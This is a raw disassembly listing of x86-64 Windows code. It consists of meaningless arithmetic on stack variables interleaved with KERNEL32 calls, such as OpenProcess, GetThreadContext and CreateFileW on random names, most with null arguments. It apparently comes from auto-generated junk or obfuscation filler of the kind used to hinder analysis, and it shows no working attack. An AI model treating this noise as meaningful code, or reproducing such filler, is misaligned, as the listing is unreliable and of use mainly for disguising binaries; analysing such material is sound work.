mov dword [rsp + 0x44e0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xa7a8], rax
movsx eax, word [rsp + 0x1d5c]
movsx ecx, word [0x140229f6c]
or eax, ecx
mov word [0x14022b9b8], ax
mov rax, qword [rsp + 0x9dd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1a90], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xa5c8]
movzx eax, word [rax]
mov word [rsp + 0x1d9c], ax
mov rax, qword [rsp + 0xa200]
movzx ecx, al
mov rax, qword [rsp + 0x9f48]
sar rax, cl
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0xa2a8]
mov rcx, qword [rsp + 0x97e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x78f0], rax
mov rax, qword [rsp + 0x9d70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bb]
add eax, ecx
mov byte [rsp + 0x35a], al
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x477c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4834], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdcc4
mov rcx, qword [rsp + 0xa008]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x46f0], eax
lea rax, [rsp + 0x1ccc]
mov qword [rsp + 0xa7b0], rax
movzx eax, word [rsp + 0x14e4]
movzx ecx, word [0x140229f28]
add eax, ecx
mov rcx, qword [rsp + 0xa420]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0x9ca8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x140229fb8], rax
movzx eax, word [rsp + 0x177c]
mov word [rsp + 0x1da0], ax
mov rax, qword [0x14022b8e8]
mov rcx, qword [rsp + 0xa1e0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8180]
movzx ecx, al
mov rax, qword [rsp + 0xa280]
sar rax, cl
mov rcx, qword [rsp + 0x9d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0x99c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [rsp + 0x482c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x98e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9d40]
movzx eax, byte [rax]
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45d8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x429c], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x8d58]
movzx ecx, al
mov rax, qword [rsp + 0x9870]
shl rax, cl
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
lea rax, [rsp + 0x1ca0]
mov qword [0x14022ba58], rax
movzx eax, word [rsp + 0x1cd4]
mov word [rsp + 0x1da4], ax
movzx eax, word [0x14022b850]
movzx ecx, word [rsp + 0x1ca8]
xor eax, ecx
mov rcx, qword [rsp + 0xa5c8]
mov word [rcx], ax
lea rax, [rsp + 0x1d48]
mov qword [rsp + 0xa7b8], rax
movsx eax, byte [rsp + 0x375]
mov rcx, qword [rsp + 0x9e80]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x357], al
lea rcx, [rsp + 0xa7c0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x4778]
mov qword [rsp + 0xa7c8], rax
mov rax, qword [rsp + 0xa688]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa098]
shr rax, cl
mov qword [rsp + 0x9d98], rax
movsx eax, word [rsp + 0x17fc]
movsx ecx, word [rsp + 0x1d0c]
add eax, ecx
mov word [rsp + 0x1d80], ax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x177c]
and eax, ecx
mov word [rsp + 0x988], ax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0x9d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022ba50], rax
mov rax, qword [rsp + 0x9fb8]
mov rcx, qword [rsp + 0x9a20]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov qword [rsp + 0xa7d0], rax
mov rax, qword [rsp + 0x9b90]
mov rcx, qword [rsp + 0x9d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d48]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rdx, [rsp + 0x4824]
mov rcx, qword [rsp + 0xa1c8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4794], eax
movzx eax, word [rsp + 0xef0]
mov rcx, qword [0x14022ba40]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1c18], ax
lea rax, [rsp + 0x4830]
mov qword [rsp + 0xa7d8], rax
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x376]
shl eax, cl
mov byte [rsp + 0x307], al
lea rax, [rsp + 0xa390]
mov qword [rsp + 0xa7e0], rax
mov eax, dword [rsp + 0x47d0]
mov ecx, dword [rsp + 0x4278]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7c8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x129]
movsx ecx, byte [rsp + 0x1bb]
xor eax, ecx
mov byte [0x140229f1e], al
movsx eax, word [rsp + 0x1d6c]
movsx ecx, word [rsp + 0x1d28]
sub eax, ecx
mov rcx, qword [rsp + 0xa398]
mov word [rcx], ax
lea rcx, [rsp + 0xa7e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x1d34]
mov qword [rsp + 0xa7f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
movzx eax, word [rsp + 0x177c]
mov rcx, qword [rsp + 0xa458]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0x9ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x73a0], rax
movsx eax, byte [rsp + 0x371]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x277], al
mov r9d, 0xc4e
xor r8d, r8d
lea rdx, [rsp + 0x9d50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4874], eax
mov eax, dword [rsp + 0x480c]
mov dword [rsp + 0x48ac], eax
mov rax, qword [rsp + 0xa2a0]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f80], rax
mov rax, qword [rsp + 0x9cb0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1cd8], ax
lea rax, [rsp + 0x1d44]
mov qword [0x14022ba60], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x5557
mov rcx, qword [rsp + 0xa0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48b0], eax
lea rax, [rsp + 0x9d58]
mov qword [rsp + 0xa7f8], rax
movzx eax, word [rsp + 0x1cb4]
mov rcx, qword [rsp + 0xa0c0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x379], al
mov r9d, 0x1d2
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x47e8], eax
mov eax, dword [rsp + 0x47c0]
mov ecx, dword [rsp + 0x3ea8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9b20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9ee8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa288]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0xa3e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa768]
shr rax, cl
mov qword [rsp + 0x8f30], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6fa
mov rcx, qword [rsp + 0xa578]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48b4], eax
lea rcx, [rsp + 0xa2b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x47e0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4838], eax
movzx eax, word [rsp + 0xecc]
mov word [rsp + 0x1da8], ax
movzx eax, word [rsp + 0x87c]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14022b990], ax
lea rdx, [rsp + 0x48b8]
mov rcx, qword [rsp + 0xa6a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0xa620]
mov rcx, qword [rsp + 0x8a18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa5b0], rax
mov rax, qword [rsp + 0x9e70]
mov rcx, qword [rsp + 0xa2b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x1cdc]
mov qword [rsp + 0xa800], rax
movzx eax, word [rsp + 0x1b14]
mov rcx, qword [rsp + 0xa468]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1a84], ax
mov rax, qword [rsp + 0xa618]
mov rcx, qword [0x14022b950]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0xa120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa288]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa478]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b98]
mov rcx, qword [rsp + 0xa4e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa638], rax
lea rax, [0x14022b9c0]
mov qword [rsp + 0xa808], rax
mov rax, qword [rsp + 0x9848]
movzx eax, word [rax]
mov word [0x14022ba68], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xaa93
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45ec], eax
mov rax, qword [rsp + 0xa420]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
sub eax, ecx
mov word [rsp + 0x1ce0], ax
movzx eax, byte [rsp + 0x36d]
mov byte [rsp + 0x37a], al
mov rax, qword [rsp + 0xa258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0xa6f0]
mov qword [rsp + 0xa810], rax
movsx eax, byte [rsp + 0xac]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x359], al
mov rax, qword [rsp + 0x75e8]
mov rcx, qword [rsp + 0xa668]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9430], rax
lea rax, [rsp + 0x4754]
mov qword [rsp + 0xa818], rax
movsx eax, word [rsp + 0x16b4]
mov rcx, qword [rsp + 0xa800]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d58], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14022b910], ax
lea rax, [rsp + 0xa748]
mov qword [rsp + 0xa820], rax
mov rcx, qword [rsp + 0x9948]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x9680]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x1d94]
mov rcx, qword [0x14022b8b0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xef0], ax
mov rax, qword [rsp + 0xa510]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d28]
or eax, ecx
mov word [rsp + 0xc24], ax
lea rax, [rsp + 0x8360]
mov qword [rsp + 0xa828], rax
mov rax, qword [rsp + 0xa120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x25f]
sar eax, cl
mov byte [rsp + 0x371], al
mov rax, qword [rsp + 0xa230]
mov rcx, qword [rsp + 0xa3a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4044], eax
mov rax, qword [rsp + 0x99e0]
mov rcx, qword [0x14022b818]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa0e0], rax
movzx eax, word [rsp + 0x1cc4]
movzx ecx, word [rsp + 0x988]
sub eax, ecx
mov rcx, qword [rsp + 0xa238]
mov word [rcx], ax
mov rax, qword [rsp + 0xa560]
mov rcx, qword [rsp + 0x7350]
mov rax, qword [rax]
and rax, rcx
mov qword [0x140229fc0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa160]
mov eax, dword [rax]
mov dword [rsp + 0x48bc], eax
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x96a0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x98f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x1d34]
mov rcx, qword [rsp + 0xa1f8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb4c], ax
lea rdx, [rsp + 0x4868]
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4858], eax
mov rax, qword [0x14022ba08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a7c]
add eax, ecx
mov rcx, qword [rsp + 0xa238]
mov word [rcx], ax
mov rax, qword [rsp + 0xa478]
movzx eax, byte [rax]
mov byte [rsp + 0x37b], al
mov rax, qword [rsp + 0x8488]
mov rcx, qword [rsp + 0xa4e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa638], rax
mov eax, dword [rsp + 0x4838]
mov ecx, dword [0x14022b878]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d60], eax
mov r9d, 0x54e
xor r8d, r8d
lea rdx, [rsp + 0x9e60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48c0], eax
mov rax, qword [rsp + 0xa738]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d80]
shl eax, cl
mov word [rsp + 0x98c], ax
mov rax, qword [rsp + 0xa468]
movzx eax, word [rax]
movzx ecx, word [0x14022ba38]
or eax, ecx
mov word [0x14022b89c], ax
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0x7898]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ca8], rax
lea rax, [rsp + 0x9f10]
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6f78]
sar rax, cl
mov qword [rsp + 0xa280], rax
movsx eax, word [rsp + 0x1da8]
mov rcx, qword [rsp + 0xa1d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ee0]
mov word [rcx], ax
lea rax, [rsp + 0x4844]
mov qword [rsp + 0xa838], rax
mov rax, qword [rsp + 0x99e0]
mov rcx, qword [rsp + 0xa390]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa768], rax
mov rax, qword [rsp + 0x9ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x37c], al
movzx eax, byte [rsp + 0x36d]
movzx ecx, byte [rsp + 0x365]
sub eax, ecx
mov byte [rsp + 0xf3], al
lea rdx, [rsp + 0x47a0]
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46dc], eax
mov eax, dword [rsp + 0x45d8]
movzx ecx, al
mov eax, dword [rsp + 0x39f0]
sar eax, cl
mov rcx, qword [rsp + 0x99c8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xdd8]
mov word [0x14022ba6c], ax
lea rax, [rsp + 0x1d88]
mov qword [rsp + 0xa840], rax
mov rax, qword [rsp + 0x9e90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d9c]
add eax, ecx
mov word [rsp + 0x1d2c], ax
mov rcx, qword [rsp + 0x9e60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9198]
mov qword [rsp + 0xa848], rax
movsx eax, byte [rsp + 0x34c]
movsx ecx, byte [rsp + 0xd1]
and eax, ecx
mov byte [rsp + 0x342], al
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x7e28]
mov rcx, qword [rsp + 0xa5f8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa648]
mov qword [rcx], rax
lea rax, [rsp + 0x4844]
mov qword [rsp + 0xa858], rax
mov rax, qword [rsp + 0x9880]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cb8]
shl eax, cl
mov rcx, qword [rsp + 0x9890]
mov word [rcx], ax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d50]
or eax, ecx
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f08]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b948]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1a84]
mov rcx, qword [rsp + 0x9d10]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
lea rax, [rsp + 0xa590]
mov qword [rsp + 0xa860], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a18], rax
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [0x14022b878]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x484c], eax
lea rax, [rsp + 0x277]
mov qword [rsp + 0xa868], rax
mov rax, qword [rsp + 0x9c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4818]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x429c], eax
movzx eax, byte [0x140229f1d]
mov byte [rsp + 0x37d], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xec67
mov rcx, qword [rsp + 0xa2c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4824], eax
mov rax, qword [rsp + 0xa070]
mov rcx, qword [rsp + 0xa1e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa638], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [rsp + 0xa870]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rcx, qword [rsp + 0x9860]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x1d80]
mov qword [0x14022ba70], rax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa738]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x98c], ax
movzx eax, word [rsp + 0x1a94]
mov rcx, qword [rsp + 0xa430]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1088], ax
movzx eax, word [rsp + 0x1cac]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa588]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e80]
movzx eax, byte [rax]
mov byte [rsp + 0x37e], al
mov rax, qword [rsp + 0xa028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x447c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4278], eax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xa378]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa7e0]
mov qword [rcx], rax
lea rax, [0x140229fa8]
mov qword [rsp + 0xa878], rax
movzx eax, word [rsp + 0x1bc4]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa420]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0x7400]
mov qword [0x14022ba78], rax
mov rax, qword [0x140229f60]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0x98c0]
mov rcx, qword [rsp + 0x6ff8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x9fb8]
mov rcx, qword [rsp + 0xa7f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8180], rax
lea rcx, [rsp + 0xa358]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d2c]
sar eax, cl
mov word [rsp + 0x19b8], ax
movzx eax, byte [rsp + 0x307]
movzx ecx, byte [rsp + 0x29c]
add eax, ecx
mov byte [rsp + 0x344], al
mov eax, dword [rsp + 0x3b5c]
mov dword [rsp + 0x48c4], eax
mov rax, qword [rsp + 0x9ef0]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa130]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96e0]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3a24], eax
lea rax, [rsp + 0x110]
mov qword [0x14022ba80], rax
movsx eax, word [0x14022ba24]
mov rcx, qword [rsp + 0x9c70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xecc], ax
mov rax, qword [rsp + 0xa1a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17d8]
sub eax, ecx
mov rcx, qword [rsp + 0xa738]
mov word [rcx], ax
mov rax, qword [0x14022ba00]
movzx eax, word [rax]
mov word [rsp + 0x1dac], ax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa770]
mov qword [rcx], rax
lea rax, [rsp + 0x48a8]
mov qword [rsp + 0xa888], rax
mov rax, qword [rsp + 0x96d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa4a0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3e0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa538]
shr rax, cl
mov rcx, qword [rsp + 0xa5a8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xecc]
mov word [rsp + 0x1db0], ax
movzx eax, word [rsp + 0x1088]
movzx ecx, word [0x14022b824]
shl eax, cl
mov word [0x14022b978], ax
mov rax, qword [rsp + 0x9d80]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x97d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca4]
or eax, ecx
mov word [rsp + 0x1a3c], ax
movzx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0xa630]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ca], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.pzUROL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa890], rax
mov r9d, 0x128c
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4854], eax
mov rax, qword [rsp + 0x9998]
mov rcx, qword [rsp + 0x9b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa160]
mov dword [rcx], eax
lea rcx, [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x7458]
mov qword [rsp + 0xa898], rax
mov rax, qword [rsp + 0xa3d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3c0]
mov qword [rsp + 0xa8a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4860], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x6470
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x48c8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xa308]
movzx eax, byte [rax]
mov byte [rsp + 0x37f], al
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa7b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d5c]
add eax, ecx
mov word [rsp + 0xecc], ax
lea rax, [rsp + 0x1ce0]
mov qword [0x14022ba88], rax
lea rdx, [rsp + 0x48cc]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x464c], eax
lea rcx, [rsp + 0xa7e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9cf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9348], rax
mov r9d, 0x1adf
xor r8d, r8d
lea rdx, [rsp + 0xa7a8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48b0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.1QfaXOAC6CVUn1kwS5thPVX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xa8a8], rax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ed0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9898]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b4]
and eax, ecx
mov word [rsp + 0x1db0], ax
movzx eax, word [rsp + 0x1ca8]
mov word [rsp + 0x1db4], ax
mov rcx, qword [rsp + 0xa380]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x353]
mov rcx, qword [rsp + 0x9c20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x355], al
mov rax, qword [rsp + 0xa400]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [rsp + 0x9cc0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa048]
mov qword [rsp + 0xa8b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0x9fb0]
mov rcx, qword [rsp + 0x8d08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0xa2d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9ee0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140229f38], ax
mov rax, qword [rsp + 0xa168]
movzx eax, word [rax]
movzx ecx, word [0x140229f98]
shl eax, cl
mov word [rsp + 0xdb8], ax
movzx eax, byte [rsp + 0x28e]
movzx ecx, byte [rsp + 0x37a]
add eax, ecx
